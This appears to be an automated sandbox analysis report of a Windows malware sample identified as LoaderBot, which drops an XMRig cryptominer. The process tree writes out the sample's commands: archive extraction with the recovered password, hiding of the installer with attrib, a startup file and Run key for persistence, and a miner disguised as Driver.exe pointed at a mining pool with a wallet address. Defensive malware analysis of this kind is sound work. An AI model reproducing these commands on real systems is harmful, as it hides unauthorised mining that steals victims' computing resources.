Analysis
- max time kernel
95s - max time network
122s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
13/04/2024, 01:15
General
- Target 7fd525394f449871ea7be96a66ddc1ff6cb498aaaee85549cae392a782670780.exe
- Size 4.2MB
- Sample240413-bmgesscd7w
- SHA256 7fd525394f449871ea7be96a66ddc1ff6cb498aaaee85549cae392a782670780
Malware Config
Signatures
- LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Detects executables built or packed with MPress PE compressor 19 IoCs
- LoaderBot executable 2 IoCs
- XMRig Miner payload 15 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 1 IoCs
- Executes dropped EXE 7 IoCs
- Loads dropped DLL 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of WriteProcessMemory 21 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\7fd525394f449871ea7be96a66ddc1ff6cb498aaaee85549cae392a782670780.exe"C:\Users\Admin\AppData\Local\Temp\7fd525394f449871ea7be96a66ddc1ff6cb498aaaee85549cae392a782670780.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mode.commode 65,103⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p12151210907486279731870130990 -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\attrib.exeattrib +H "Installer.exe"3⤵
- Views/modifies file attributes
-
-
C:\Users\Admin\AppData\Local\Temp\main\Installer.exe"Installer.exe"3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4AAVoaf13Do2Jqvf6MT9z7bF1AbfFL5i1b6pLTTWa8t4aj46CBnKFFtSR6xYN9xshV7aQJC51fLe3ErWugFWGZWMMe4j2Ea -p x -k -v=0 --donate-level=0 -t 44⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4AAVoaf13Do2Jqvf6MT9z7bF1AbfFL5i1b6pLTTWa8t4aj46CBnKFFtSR6xYN9xshV7aQJC51fLe3ErWugFWGZWMMe4j2Ea -p x -k -v=0 --donate-level=0 -t 44⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4AAVoaf13Do2Jqvf6MT9z7bF1AbfFL5i1b6pLTTWa8t4aj46CBnKFFtSR6xYN9xshV7aQJC51fLe3ErWugFWGZWMMe4j2Ea -p x -k -v=0 --donate-level=0 -t 44⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2268 --field-trial-handle=2244,i,11878111470816612087,2265290141962607370,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
7z.dll
7z.exe
ANTIAV~1.DAT
Installer.exe
file_1.zip
file_2.zip
file.bin
main.bat
Driver.exe
memory/2160-61-0x0000000073440000-0x0000000073BF0000-memory.dmp
memory/2160-37-0x0000000073440000-0x0000000073BF0000-memory.dmp
memory/2160-38-0x0000000000340000-0x000000000073E000-memory.dmp
memory/2160-41-0x00000000052B0000-0x00000000052C0000-memory.dmp
memory/2160-42-0x00000000054C0000-0x0000000005526000-memory.dmp
memory/2160-66-0x00000000052B0000-0x00000000052C0000-memory.dmp
memory/3816-86-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3816-83-0x0000000002120000-0x0000000002140000-memory.dmp
memory/3816-89-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3816-88-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3816-81-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3816-87-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3816-80-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3816-90-0x0000000000550000-0x0000000000570000-memory.dmp
memory/3816-85-0x0000000002160000-0x0000000002180000-memory.dmp
memory/3816-84-0x0000000002140000-0x0000000002160000-memory.dmp
memory/3816-82-0x0000000000550000-0x0000000000570000-memory.dmp
memory/4800-54-0x0000000000440000-0x0000000000454000-memory.dmp
memory/4800-52-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/4800-55-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/5100-64-0x0000000002040000-0x0000000002060000-memory.dmp
memory/5100-72-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/5100-73-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/5100-74-0x0000000002010000-0x0000000002030000-memory.dmp
memory/5100-75-0x0000000001FF0000-0x0000000002010000-memory.dmp
memory/5100-76-0x0000000002040000-0x0000000002060000-memory.dmp
memory/5100-77-0x0000000002060000-0x0000000002080000-memory.dmp
memory/5100-71-0x0000000001FF0000-0x0000000002010000-memory.dmp
memory/5100-70-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/5100-69-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/5100-68-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/5100-67-0x0000000002060000-0x0000000002080000-memory.dmp
memory/5100-65-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/5100-63-0x0000000002010000-0x0000000002030000-memory.dmp
memory/5100-62-0x0000000001FF0000-0x0000000002010000-memory.dmp
memory/5100-60-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/5100-59-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/5100-58-0x0000000001FD0000-0x0000000001FF0000-memory.dmp